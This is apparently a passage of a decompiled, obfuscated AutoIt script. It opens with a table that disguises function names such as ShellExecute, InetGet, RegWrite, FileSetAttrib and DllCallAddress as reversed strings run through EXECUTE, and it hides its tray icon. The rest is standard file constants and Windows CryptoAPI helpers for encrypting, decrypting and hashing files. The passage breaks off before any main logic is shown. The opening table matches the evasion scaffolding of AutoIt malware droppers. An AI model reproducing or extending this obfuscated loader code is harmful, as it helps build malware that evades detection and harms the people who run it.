$AWJFCIITTDQZMXVJHQAKVEFQHCRZUXBJHLDGCXKHVFYWXQEU_R = EXECUTE (STRINGREVERSE ("neLgnirtS" ) ) $EDPBPBXVKCQMTWEDXTJTVLAZCDECLCMPCYRZNPQRUAOYPV = EXECUTE (STRINGREVERSE ("rtSnIgnirtS" ) ) $MDCASPKXRGRHFOZBLQJBDKOADXFHHEMVCCRGTSVZBFILWAMCVRB = EXECUTE (STRINGREVERSE ("peelS" ) ) $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF = EXECUTE (STRINGREVERSE ("etucexEllehS" ) ) $AVAT_SMEVZYZHOOWTICQRJMTYWIRMHKMXIXAPAS = EXECUTE (STRINGREVERSE ("dednetxEteS" ) ) $QMXMLMM_D__IIECMCUUQOSNQYWPTSAJJZWMEQUCHIDFQ = EXECUTE (STRINGREVERSE ("rorrEteS" ) ) $EQQUTLGADYPHTRHSZIHNKR_DXHAVODVPHLJCQNGOTUDIQHJDFVMUFZL = EXECUTE (STRINGREVERSE ("etirWgeR" ) ) $IGNFZGJMJVHBOYCTHNSGHZZAUHGFPCVMNLDNM = EXECUTE (STRINGREVERSE ("daeRgeR" ) ) $FOWZCXPDAMMRLT_BDW_GCGOBSWSAAFZZ = EXECUTE (STRINGREVERSE ("teGjbO" ) ) $VEBCAEGIPCGPYEOUIWOETKLBBYIHBMWTNFJWTIRPFN = EXECUTE (STRINGREVERSE ("xoBgsM" ) ) $V_TOJPOTNIRPBTXMVPSLYTTEQEAVKRUMVRHVLXHLJMXAQ = EXECUTE (STRINGREVERSE ("nimdAsI" ) ) $LQAZTYNOLPEDVELQAYFKIH_WYYOVUZT = EXECUTE (STRINGREVERSE ("teGtenI" ) ) $QZOFWLEKECUPEBZSDRZBEFJNHRAWCEGWRQGFTKDD = EXECUTE (STRINGREVERSE ("etirWeliF" ) ) $AORAESDDZEZTQMIB_MGPUPJGXBYOZXEGP_OGWUDTICPNDSVBW = EXECUTE (STRINGREVERSE ("birttAteSeliF" ) ) $RDPAJRFWMMUAEHACOVTSBACBJINMSINQBLQOUNVHLLGNRCLMOEKQLUV = EXECUTE (STRINGREVERSE ("daeReliF" ) ) $WEJFCNHYHVTJQOLOSMDZSJISCNMYGCZHYVOHHRJOEYRHSZMDQTPGYLFM = EXECUTE (STRINGREVERSE ("stsixEeliF" ) ) $CRIYYFOYFKNHKDLPD_OJSJHSJMRWMCLWYBLJBRBHHTBJ = EXECUTE (STRINGREVERSE ("eteleDeliF" ) ) $LKYJBBZDVWYRMZSZBFJPBDMADNDTTHPONAKPZNWRGUKCONQRRHLQ = EXECUTE (STRINGREVERSE ("ypoCeliF" ) ) $XNSVVMRRUCCPGIWFVRXYCBVZJLNHPTDZUKKFUWZYXXSFXFZNDCQKGMWWS = EXECUTE (STRINGREVERSE ("evirDteGevirD" ) ) $ZHFUPPNRMLHMQOCZEQJGYEFCFIHSMRTKOONH_VFWZILBDL = EXECUTE (STRINGREVERSE ("ataDteStcurtSllD" ) ) $WMHVUBQMXT_RDTLUTXBRNBXSHCQFFLCMPEPVLN_XMKXOLPRZLVX = EXECUTE (STRINGREVERSE ("eziSteGtcurtSllD" ) ) $JRIZIMF_ESNBSATKWFCOXIBVCPMNXLHSHUZCXUILHUSWQRMAY = EXECUTE (STRINGREVERSE ("rtPteGtcurtSllD" ) ) $MPPVAAQFPZUTOFZDZCRLITFTQXMUXODSDBSCSSKJ = EXECUTE (STRINGREVERSE ("ataDteGtcurtSllD" ) ) $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC = EXECUTE (STRINGREVERSE ("etaerCtcurtSllD" ) ) $IHRZBYZAYTRSCDVVGMBCNYXJKVRFZY = EXECUTE (STRINGREVERSE ("sserddAllaCllD" ) ) $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ = EXECUTE (STRINGREVERSE ("llaCllD" ) ) $JUHHDRPRYCTDHWUUIHMHXVJGTEFWFC = EXECUTE (STRINGREVERSE ("etaerCriD" ) ) $TQD_ZNEDEMPVGVDITWTAFXGXGVHIZBTFP = EXECUTE (STRINGREVERSE ("DNAtiB" ) ) $XOTA_WUA_WFFIZGBDXKXDCLKHDDUVCPIZNRYCBDEI = EXECUTE (STRINGREVERSE ("neLyraniB" ) ) #EndRegion #NoTrayIcon GLOBAL CONST $FC_NOOVERWRITE = 0 GLOBAL CONST $FC_OVERWRITE = 1 GLOBAL CONST $FC_CREATEPATH = 8 GLOBAL CONST $FT_MODIFIED = 0 GLOBAL CONST $FT_CREATED = 1 GLOBAL CONST $FT_ACCESSED = 2 GLOBAL CONST $FT_ARRAY = 0 GLOBAL CONST $FT_STRING = 1 GLOBAL CONST $FSF_CREATEBUTTON = 1 GLOBAL CONST $FSF_NEWDIALOG = 2 GLOBAL CONST $FSF_EDITCONTROL = 4 GLOBAL CONST $FT_NONRECURSIVE = 0 GLOBAL CONST $FT_RECURSIVE = 1 GLOBAL CONST $FO_READ = 0 GLOBAL CONST $FO_APPEND = 1 GLOBAL CONST $FO_OVERWRITE = 2 GLOBAL CONST $FO_CREATEPATH = 8 GLOBAL CONST $FO_BINARY = 16 GLOBAL CONST $FO_UNICODE = 32 GLOBAL CONST $FO_UTF16_LE = 32 GLOBAL CONST $FO_UTF16_BE = 64 GLOBAL CONST $FO_UTF8 = 128 GLOBAL CONST $FO_UTF8_NOBOM = 256 GLOBAL CONST $FO_ANSI = 512 GLOBAL CONST $FO_UTF16_LE_NOBOM = 1024 GLOBAL CONST $FO_UTF16_BE_NOBOM = 2048 GLOBAL CONST $FO_UTF8_FULL = 16384 GLOBAL CONST $FO_FULLFILE_DETECT = 16384 GLOBAL CONST $EOF = + 4294967295 GLOBAL CONST $FD_FILEMUSTEXIST = 1 GLOBAL CONST $FD_PATHMUSTEXIST = 2 GLOBAL CONST $FD_MULTISELECT = 4 GLOBAL CONST $FD_PROMPTCREATENEW = 8 GLOBAL CONST $FD_PROMPTOVERWRITE = 16 GLOBAL CONST $CREATE_NEW = 1 GLOBAL CONST $CREATE_ALWAYS = 2 GLOBAL CONST $OPEN_EXISTING = 3 GLOBAL CONST $OPEN_ALWAYS = 4 GLOBAL CONST $TRUNCATE_EXISTING = 5 GLOBAL CONST $INVALID_SET_FILE_POINTER = + 4294967295 GLOBAL CONST $FILE_BEGIN = 0 GLOBAL CONST $FILE_CURRENT = 1 GLOBAL CONST $FILE_END = 2 GLOBAL CONST $FILE_ATTRIBUTE_READONLY = 1 GLOBAL CONST $FILE_ATTRIBUTE_HIDDEN = 2 GLOBAL CONST $FILE_ATTRIBUTE_SYSTEM = 4 GLOBAL CONST $FILE_ATTRIBUTE_DIRECTORY = 16 GLOBAL CONST $FILE_ATTRIBUTE_ARCHIVE = 32 GLOBAL CONST $FILE_ATTRIBUTE_DEVICE = 64 GLOBAL CONST $FILE_ATTRIBUTE_NORMAL = 128 GLOBAL CONST $FILE_ATTRIBUTE_TEMPORARY = 256 GLOBAL CONST $FILE_ATTRIBUTE_SPARSE_FILE = 512 GLOBAL CONST $FILE_ATTRIBUTE_REPARSE_POINT = 1024 GLOBAL CONST $FILE_ATTRIBUTE_COMPRESSED = 2048 GLOBAL CONST $FILE_ATTRIBUTE_OFFLINE = 4096 GLOBAL CONST $FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 8192 GLOBAL CONST $FILE_ATTRIBUTE_ENCRYPTED = 16384 GLOBAL CONST $FILE_SHARE_READ = 1 GLOBAL CONST $FILE_SHARE_WRITE = 2 GLOBAL CONST $FILE_SHARE_DELETE = 4 GLOBAL CONST $FILE_SHARE_READWRITE = BITOR ($FILE_SHARE_READ , $FILE_SHARE_WRITE ) GLOBAL CONST $FILE_SHARE_ANY = BITOR ($FILE_SHARE_READ , $FILE_SHARE_WRITE , $FILE_SHARE_DELETE ) GLOBAL CONST $GENERIC_ALL = 268435456 GLOBAL CONST $GENERIC_EXECUTE = 536870912 GLOBAL CONST $GENERIC_WRITE = 1073741824 GLOBAL CONST $GENERIC_READ = 2147483648 GLOBAL CONST $GENERIC_READWRITE = BITOR ($GENERIC_READ , $GENERIC_WRITE ) GLOBAL CONST $FILE_ENCODING_UTF16LE = 32 GLOBAL CONST $FE_ENTIRE_UTF8 = 1 GLOBAL CONST $FE_PARTIALFIRST_UTF8 = 2 GLOBAL CONST $FN_FULLPATH = 0 GLOBAL CONST $FN_RELATIVEPATH = 1 GLOBAL CONST $FV_COMMENTS = "Comments" GLOBAL CONST $FV_COMPANYNAME = "CompanyName" GLOBAL CONST $FV_FILEDESCRIPTION = "FileDescription" GLOBAL CONST $FV_FILEVERSION = "FileVersion" GLOBAL CONST $FV_INTERNALNAME = "InternalName" GLOBAL CONST $FV_LEGALCOPYRIGHT = "LegalCopyright" GLOBAL CONST $FV_LEGALTRADEMARKS = "LegalTrademarks" GLOBAL CONST $FV_ORIGINALFILENAME = "OriginalFilename" GLOBAL CONST $FV_PRODUCTNAME = "ProductName" GLOBAL CONST $FV_PRODUCTVERSION = "ProductVersion" GLOBAL CONST $FV_PRIVATEBUILD = "PrivateBuild" GLOBAL CONST $FV_SPECIALBUILD = "SpecialBuild" GLOBAL CONST $FRTA_NOCOUNT = 0 GLOBAL CONST $FRTA_COUNT = 1 GLOBAL CONST $FRTA_INTARRAYS = 2 GLOBAL CONST $FRTA_ENTIRESPLIT = 4 GLOBAL CONST $FLTA_FILESFOLDERS = 0 GLOBAL CONST $FLTA_FILES = 1 GLOBAL CONST $FLTA_FOLDERS = 2 GLOBAL CONST $FLTAR_FILESFOLDERS = 0 GLOBAL CONST $FLTAR_FILES = 1 GLOBAL CONST $FLTAR_FOLDERS = 2 GLOBAL CONST $FLTAR_NOHIDDEN = 4 GLOBAL CONST $FLTAR_NOSYSTEM = 8 GLOBAL CONST $FLTAR_NOLINK = 16 GLOBAL CONST $FLTAR_NORECUR = 0 GLOBAL CONST $FLTAR_RECUR = 1 GLOBAL CONST $FLTAR_NOSORT = 0 GLOBAL CONST $FLTAR_SORT = 1 GLOBAL CONST $FLTAR_FASTSORT = 2 GLOBAL CONST $FLTAR_NOPATH = 0 GLOBAL CONST $FLTAR_RELPATH = 1 GLOBAL CONST $FLTAR_FULLPATH = 2 GLOBAL CONST $PROV_RSA_FULL = 1 GLOBAL CONST $PROV_RSA_AES = 24 GLOBAL CONST $CRYPT_VERIFYCONTEXT = 4026531840 GLOBAL CONST $HP_HASHSIZE = 4 GLOBAL CONST $HP_HASHVAL = 2 GLOBAL CONST $CRYPT_EXPORTABLE = 1 GLOBAL CONST $CRYPT_USERDATA = 1 GLOBAL CONST $CALG_MD2 = 32769 GLOBAL CONST $CALG_MD4 = 32770 GLOBAL CONST $CALG_MD5 = 32771 GLOBAL CONST $CALG_SHA1 = 32772 GLOBAL CONST $CALG_3DES = 26115 GLOBAL CONST $CALG_AES_128 = 26126 GLOBAL CONST $CALG_AES_192 = 26127 GLOBAL CONST $CALG_AES_256 = 26128 GLOBAL CONST $CALG_DES = 26113 GLOBAL CONST $CALG_RC2 = 26114 GLOBAL CONST $CALG_RC4 = 26625 GLOBAL CONST $CALG_USERKEY = 0 GLOBAL CONST $KP_ALGID = 7 GLOBAL $__G_ACRYPTINTERNALDATA [3 ] FUNC _CRYPT_STARTUP () IF __CRYPT_REFCOUNT () = 0 THEN LOCAL $HADVAPI32 = DLLOPEN ("Advapi32.dll" ) IF $HADVAPI32 = + 4294967295 THEN RETURN SETERROR (1 , 0 , FALSE ) __CRYPT_DLLHANDLESET ($HADVAPI32 ) LOCAL $IPROVIDERID = $PROV_RSA_AES LOCAL $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptAcquireContext" , "handle*" , 0 , "ptr" , 0 , "ptr" , 0 , "dword" , $IPROVIDERID , "dword" , $CRYPT_VERIFYCONTEXT ) IF @ERROR OR NOT $ARET [0 ] THEN LOCAL $IERROR = @ERROR + 10 , $IEXTENDED = @EXTENDED DLLCLOSE (__CRYPT_DLLHANDLE () ) RETURN SETERROR ($IERROR , $IEXTENDED , FALSE ) ELSE __CRYPT_CONTEXTSET ($ARET [1 ] ) ENDIF ENDIF __CRYPT_REFCOUNTINC () RETURN TRUE ENDFUNC FUNC _CRYPT_SHUTDOWN () __CRYPT_REFCOUNTDEC () IF __CRYPT_REFCOUNT () = 0 THEN DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptReleaseContext" , "handle" , __CRYPT_CONTEXT () , "dword" , 0 ) DLLCLOSE (__CRYPT_DLLHANDLE () ) ENDIF ENDFUNC FUNC _CRYPT_DERIVEKEY ($VPASSWORD , $IALGID , $IHASHALGID = $CALG_MD5 ) LOCAL $ARET = 0 , $HBUFF = 0 , $HCRYPTHASH = 0 , $IERROR = 0 , $IEXTENDED = 0 , $VRETURN = 0 _CRYPT_STARTUP () DO $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptCreateHash" , "handle" , __CRYPT_CONTEXT () , "uint" , $IHASHALGID , "ptr" , 0 , "dword" , 0 , "handle*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 10 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $HCRYPTHASH = $ARET [5 ] $HBUFF = DLLSTRUCTCREATE ("byte[" & BINARYLEN ($VPASSWORD ) & "]" ) DLLSTRUCTSETDATA ($HBUFF , 1 , $VPASSWORD ) $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptHashData" , "handle" , $HCRYPTHASH , "struct*" , $HBUFF , "dword" , DLLSTRUCTGETSIZE ($HBUFF ) , "dword" , $CRYPT_USERDATA ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 20 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptDeriveKey" , "handle" , __CRYPT_CONTEXT () , "uint" , $IALGID , "handle" , $HCRYPTHASH , "dword" , $CRYPT_EXPORTABLE , "handle*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 30 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $VRETURN = $ARET [5 ] UNTIL TRUE IF $HCRYPTHASH <> 0 THEN DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptDestroyHash" , "handle" , $HCRYPTHASH ) RETURN SETERROR ($IERROR , $IEXTENDED , $VRETURN ) ENDFUNC FUNC _CRYPT_DESTROYKEY ($HCRYPTKEY ) LOCAL $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptDestroyKey" , "handle" , $HCRYPTKEY ) LOCAL $IERROR = @ERROR , $IEXTENDED = @EXTENDED _CRYPT_SHUTDOWN () IF $IERROR OR NOT $ARET [0 ] THEN RETURN SETERROR ($IERROR + 10 , $IEXTENDED , FALSE ) ELSE RETURN TRUE ENDIF ENDFUNC FUNC _CRYPT_ENCRYPTDATA ($VDATA , $VCRYPTKEY , $IALGID , $BFINAL = TRUE ) SWITCH $IALGID CASE $CALG_USERKEY LOCAL $ICALGUSED = __CRYPT_GETCALGFROMCRYPTKEY ($VCRYPTKEY ) IF @ERROR THEN RETURN SETERROR (@ERROR , + 4294967295 , @EXTENDED ) IF $ICALGUSED = $CALG_RC4 THEN CONTINUECASE CASE $CALG_RC4 IF BINARYLEN ($VDATA ) = 0 THEN RETURN SETERROR (0 , 0 , BINARY ("" ) ) ENDSWITCH LOCAL $IREQBUFFSIZE = 0 , $ARET = 0 , $HBUFF = 0 , $IERROR = 0 , $IEXTENDED = 0 , $VRETURN = 0 _CRYPT_STARTUP () DO IF $IALGID <> $CALG_USERKEY THEN $VCRYPTKEY = _CRYPT_DERIVEKEY ($VCRYPTKEY , $IALGID ) IF @ERROR THEN $IERROR = @ERROR + 100 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF ENDIF $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptEncrypt" , "handle" , $VCRYPTKEY , "handle" , 0 , "bool" , $BFINAL , "dword" , 0 , "ptr" , 0 , "dword*" , BINARYLEN ($VDATA ) , "dword" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 20 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $IREQBUFFSIZE = $ARET [6 ] $HBUFF = DLLSTRUCTCREATE ("byte[" & $IREQBUFFSIZE + 1 & "]" ) DLLSTRUCTSETDATA ($HBUFF , 1 , $VDATA ) $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptEncrypt" , "handle" , $VCRYPTKEY , "handle" , 0 , "bool" , $BFINAL , "dword" , 0 , "struct*" , $HBUFF , "dword*" , BINARYLEN ($VDATA ) , "dword" , DLLSTRUCTGETSIZE ($HBUFF ) + 4294967295 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 30 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $VRETURN = BINARYMID (DLLSTRUCTGETDATA ($HBUFF , 1 ) , 1 , $IREQBUFFSIZE ) UNTIL TRUE IF $IALGID <> $CALG_USERKEY THEN _CRYPT_DESTROYKEY ($VCRYPTKEY ) _CRYPT_SHUTDOWN () RETURN SETERROR ($IERROR , $IEXTENDED , $VRETURN ) ENDFUNC FUNC _CRYPT_DECRYPTDATA ($VDATA , $VCRYPTKEY , $IALGID , $BFINAL = TRUE ) SWITCH $IALGID CASE $CALG_USERKEY LOCAL $ICALGUSED = __CRYPT_GETCALGFROMCRYPTKEY ($VCRYPTKEY ) IF @ERROR THEN RETURN SETERROR (@ERROR , + 4294967295 , @EXTENDED ) IF $ICALGUSED = $CALG_RC4 THEN CONTINUECASE CASE $CALG_RC4 IF BINARYLEN ($VDATA ) = 0 THEN RETURN SETERROR (0 , 0 , BINARY ("" ) ) ENDSWITCH LOCAL $ARET = 0 , $HBUFF = 0 , $HTEMPSTRUCT = 0 , $IERROR = 0 , $IEXTENDED = 0 , $IPLAINTEXTSIZE = 0 , $VRETURN = 0 _CRYPT_STARTUP () DO IF $IALGID <> $CALG_USERKEY THEN $VCRYPTKEY = _CRYPT_DERIVEKEY ($VCRYPTKEY , $IALGID ) IF @ERROR THEN $IERROR = @ERROR + 100 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF ENDIF $HBUFF = DLLSTRUCTCREATE ("byte[" & BINARYLEN ($VDATA ) + 1000 & "]" ) IF BINARYLEN ($VDATA ) > 0 THEN DLLSTRUCTSETDATA ($HBUFF , 1 , $VDATA ) $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptDecrypt" , "handle" , $VCRYPTKEY , "handle" , 0 , "bool" , $BFINAL , "dword" , 0 , "struct*" , $HBUFF , "dword*" , BINARYLEN ($VDATA ) ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 20 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $IPLAINTEXTSIZE = $ARET [6 ] $HTEMPSTRUCT = DLLSTRUCTCREATE ("byte[" & $IPLAINTEXTSIZE + 1 & "]" , DLLSTRUCTGETPTR ($HBUFF ) ) $VRETURN = BINARYMID (DLLSTRUCTGETDATA ($HTEMPSTRUCT , 1 ) , 1 , $IPLAINTEXTSIZE ) UNTIL TRUE IF $IALGID <> $CALG_USERKEY THEN _CRYPT_DESTROYKEY ($VCRYPTKEY ) _CRYPT_SHUTDOWN () RETURN SETERROR ($IERROR , $IEXTENDED , $VRETURN ) ENDFUNC FUNC _CRYPT_HASHDATA ($VDATA , $IALGID , $BFINAL = TRUE , $HCRYPTHASH = 0 ) LOCAL $ARET = 0 , $HBUFF = 0 , $IERROR = 0 , $IEXTENDED = 0 , $IHASHSIZE = 0 , $VRETURN = 0 _CRYPT_STARTUP () DO IF $HCRYPTHASH = 0 THEN $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptCreateHash" , "handle" , __CRYPT_CONTEXT () , "uint" , $IALGID , "ptr" , 0 , "dword" , 0 , "handle*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 10 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $HCRYPTHASH = $ARET [5 ] ENDIF $HBUFF = DLLSTRUCTCREATE ("byte[" & BINARYLEN ($VDATA ) & "]" ) DLLSTRUCTSETDATA ($HBUFF , 1 , $VDATA ) $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptHashData" , "handle" , $HCRYPTHASH , "struct*" , $HBUFF , "dword" , DLLSTRUCTGETSIZE ($HBUFF ) , "dword" , $CRYPT_USERDATA ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 20 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF IF $BFINAL THEN $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptGetHashParam" , "handle" , $HCRYPTHASH , "dword" , $HP_HASHSIZE , "dword*" , 0 , "dword*" , 4 , "dword" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 30 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $IHASHSIZE = $ARET [3 ] $HBUFF = DLLSTRUCTCREATE ("byte[" & $IHASHSIZE & "]" ) $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptGetHashParam" , "handle" , $HCRYPTHASH , "dword" , $HP_HASHVAL , "struct*" , $HBUFF , "dword*" , DLLSTRUCTGETSIZE ($HBUFF ) , "dword" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 40 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP ENDIF $VRETURN = DLLSTRUCTGETDATA ($HBUFF , 1 ) ELSE $VRETURN = $HCRYPTHASH ENDIF UNTIL TRUE IF $HCRYPTHASH <> 0 AND $BFINAL THEN DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptDestroyHash" , "handle" , $HCRYPTHASH ) _CRYPT_SHUTDOWN () RETURN SETERROR ($IERROR , $IEXTENDED , $VRETURN ) ENDFUNC FUNC _CRYPT_HASHFILE ($SFILEPATH , $IALGID ) LOCAL $BTEMPDATA = 0 , $HFILE = 0 , $HHASHOBJECT = 0 , $IERROR = 0 , $IEXTENDED = 0 , $VRETURN = 0 _CRYPT_STARTUP () DO $HFILE = FILEOPEN ($SFILEPATH , $FO_BINARY ) IF $HFILE = + 4294967295 THEN $IERROR = 1 $VRETURN = + 4294967295 EXITLOOP ENDIF DO $BTEMPDATA = FILEREAD ($HFILE , 512 * 1024 ) IF @ERROR THEN $VRETURN = _CRYPT_HASHDATA ($BTEMPDATA , $IALGID , TRUE , $HHASHOBJECT ) IF @ERROR THEN $IERROR = @ERROR $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP 2 ENDIF EXITLOOP 2 ELSE $HHASHOBJECT = _CRYPT_HASHDATA ($BTEMPDATA , $IALGID , FALSE , $HHASHOBJECT ) IF @ERROR THEN $IERROR = @ERROR + 100 $IEXTENDED = @EXTENDED $VRETURN = + 4294967295 EXITLOOP 2 ENDIF ENDIF UNTIL FALSE UNTIL TRUE _CRYPT_SHUTDOWN () IF $HFILE <> + 4294967295 THEN FILECLOSE ($HFILE ) RETURN SETERROR ($IERROR , $IEXTENDED , $VRETURN ) ENDFUNC FUNC _CRYPT_ENCRYPTFILE ($SSOURCEFILE , $SDESTINATIONFILE , $VCRYPTKEY , $IALGID ) LOCAL $BTEMPDATA = 0 , $HINFILE = 0 , $HOUTFILE = 0 , $IERROR = 0 , $IEXTENDED = 0 , $IFILESIZE = FILEGETSIZE ($SSOURCEFILE ) , $IREAD = 0 , $BRETURN = TRUE _CRYPT_STARTUP () DO IF $IALGID <> $CALG_USERKEY THEN $VCRYPTKEY = _CRYPT_DERIVEKEY ($VCRYPTKEY , $IALGID ) IF @ERROR THEN $IERROR = @ERROR $IEXTENDED = @EXTENDED $BRETURN = FALSE EXITLOOP ENDIF ENDIF $HINFILE = FILEOPEN ($SSOURCEFILE , $FO_BINARY ) IF @ERROR THEN $IERROR = 2 $BRETURN = FALSE EXITLOOP ENDIF $HOUTFILE = FILEOPEN ($SDESTINATIONFILE , $FO_OVERWRITE + $FO_CREATEPATH + $FO_BINARY ) IF @ERROR THEN $IERROR = 3 $BRETURN = FALSE EXITLOOP ENDIF DO $BTEMPDATA = FILEREAD ($HINFILE , 1024 * 1024 ) $IREAD += BINARYLEN ($BTEMPDATA ) IF $IREAD = $IFILESIZE THEN $BTEMPDATA = _CRYPT_ENCRYPTDATA ($BTEMPDATA , $VCRYPTKEY , $CALG_USERKEY , TRUE ) IF @ERROR THEN $IERROR = @ERROR + 400 $IEXTENDED = @EXTENDED $BRETURN = FALSE ENDIF FILEWRITE ($HOUTFILE , $BTEMPDATA ) EXITLOOP 2 ELSE $BTEMPDATA = _CRYPT_ENCRYPTDATA ($BTEMPDATA , $VCRYPTKEY , $CALG_USERKEY , FALSE ) IF @ERROR THEN $IERROR = @ERROR + 500 $IEXTENDED = @EXTENDED $BRETURN = FALSE EXITLOOP 2 ENDIF FILEWRITE ($HOUTFILE , $BTEMPDATA ) ENDIF UNTIL FALSE UNTIL TRUE IF $IALGID <> $CALG_USERKEY THEN _CRYPT_DESTROYKEY ($VCRYPTKEY ) _CRYPT_SHUTDOWN () IF $HINFILE <> + 4294967295 THEN FILECLOSE ($HINFILE ) IF $HOUTFILE <> + 4294967295 THEN FILECLOSE ($HOUTFILE ) RETURN SETERROR ($IERROR , $IEXTENDED , $BRETURN ) ENDFUNC FUNC _CRYPT_DECRYPTFILE ($SSOURCEFILE , $SDESTINATIONFILE , $VCRYPTKEY , $IALGID ) LOCAL $BTEMPDATA = 0 , $HINFILE = 0 , $HOUTFILE = 0 , $IERROR = 0 , $IEXTENDED = 0 , $IFILESIZE = FILEGETSIZE ($SSOURCEFILE ) , $IREAD = 0 , $BRETURN = TRUE _CRYPT_STARTUP () DO IF $IALGID <> $CALG_USERKEY THEN $VCRYPTKEY = _CRYPT_DERIVEKEY ($VCRYPTKEY , $IALGID ) IF @ERROR THEN $IERROR = @ERROR $IEXTENDED = @EXTENDED $BRETURN = FALSE EXITLOOP ENDIF ENDIF $HINFILE = FILEOPEN ($SSOURCEFILE , $FO_BINARY ) IF @ERROR THEN $IERROR = 2 $BRETURN = FALSE EXITLOOP ENDIF $HOUTFILE = FILEOPEN ($SDESTINATIONFILE , $FO_OVERWRITE + $FO_CREATEPATH + $FO_BINARY ) IF @ERROR THEN $IERROR = 3 $BRETURN = FALSE EXITLOOP ENDIF DO $BTEMPDATA = FILEREAD ($HINFILE , 1024 * 1024 ) $IREAD += BINARYLEN ($BTEMPDATA ) IF $IREAD = $IFILESIZE THEN $BTEMPDATA = _CRYPT_DECRYPTDATA ($BTEMPDATA , $VCRYPTKEY , $CALG_USERKEY , TRUE ) IF @ERROR THEN $IERROR = @ERROR + 400 $IEXTENDED = @EXTENDED $BRETURN = FALSE ENDIF FILEWRITE ($HOUTFILE , $BTEMPDATA ) EXITLOOP 2 ELSE $BTEMPDATA = _CRYPT_DECRYPTDATA ($BTEMPDATA , $VCRYPTKEY , $CALG_USERKEY , FALSE ) IF @ERROR THEN $IERROR = @ERROR + 500 $IEXTENDED = @EXTENDED $BRETURN = FALSE EXITLOOP 2 ENDIF FILEWRITE ($HOUTFILE , $BTEMPDATA ) ENDIF UNTIL FALSE UNTIL TRUE IF $IALGID <> $CALG_USERKEY THEN _CRYPT_DESTROYKEY ($VCRYPTKEY ) _CRYPT_SHUTDOWN () IF $HINFILE <> + 4294967295 THEN FILECLOSE ($HINFILE ) IF $HOUTFILE <> + 4294967295 THEN FILECLOSE ($HOUTFILE ) RETURN SETERROR ($IERROR , $IEXTENDED , $BRETURN ) ENDFUNC FUNC _CRYPT_GENRANDOM ($PBUFFER , $ISIZE ) _CRYPT_STARTUP () LOCAL $ARET = DLLCALL (__CRYPT_DLLHANDLE () , "bool" , "CryptGenRandom" , "handle" , __CRYPT_CONTEXT () , "dword" , $ISIZE , "struct*" , $PBUFFER ) LOCAL $IERROR = @ERROR , $IEXTENDED = @EXTENDED _CRYPT_SHUTDOWN () IF $IERROR OR (NOT $ARET [0 ] ) THEN RETURN SETERROR ($IERROR + 10 , $IEXTENDED , FALSE ) ELSE RETURN TRUE ENDIF ENDFUNC FUNC __CRYPT_REFCOUNT () RETURN $__G_ACRYPTINTERNALDATA [0 ] ENDFUNC FUNC __CRYPT_REFCOUNTINC () $__G_ACRYPTINTERNALDATA [0 ] += 1 ENDFUNC FUNC __CRYPT_REFCOUNTDEC () IF $__G_ACRYPTINTERNALDATA [0 ] > 0 THEN $__G_ACRYPTINTERNALDATA [0 ] -= 1 ENDFUNC FUNC __CRYPT_DLLHANDLE () RETURN $__G_ACRYPTINTERNALDATA [1 ] ENDFUNC FUNC __CRYPT_DLLHANDLESET ($HADVAPI32 ) $__G_ACRYPTINTERNALDATA [1 ] = $HADVAPI32 ENDFUNC FUNC __CRYPT_CONTEXT () RETURN $__G_ACRYPTINTERNALDATA [2 ] ENDFUNC FUNC __CRYPT_CONTEXTSET ($HCRYPTCONTEXT ) $__G_ACRYPTINTERNALDATA [2 ] = $HCRYPTCONTEXT ENDFUNC FUNC __CRYPT_GETCALGFROMCRYPTKEY ($VCRYPTKEY ) LOCAL $TALGID = DLLSTRUCTCREATE ("uint;dword" ) DLLSTRUCTSETDATA ($TALGID , 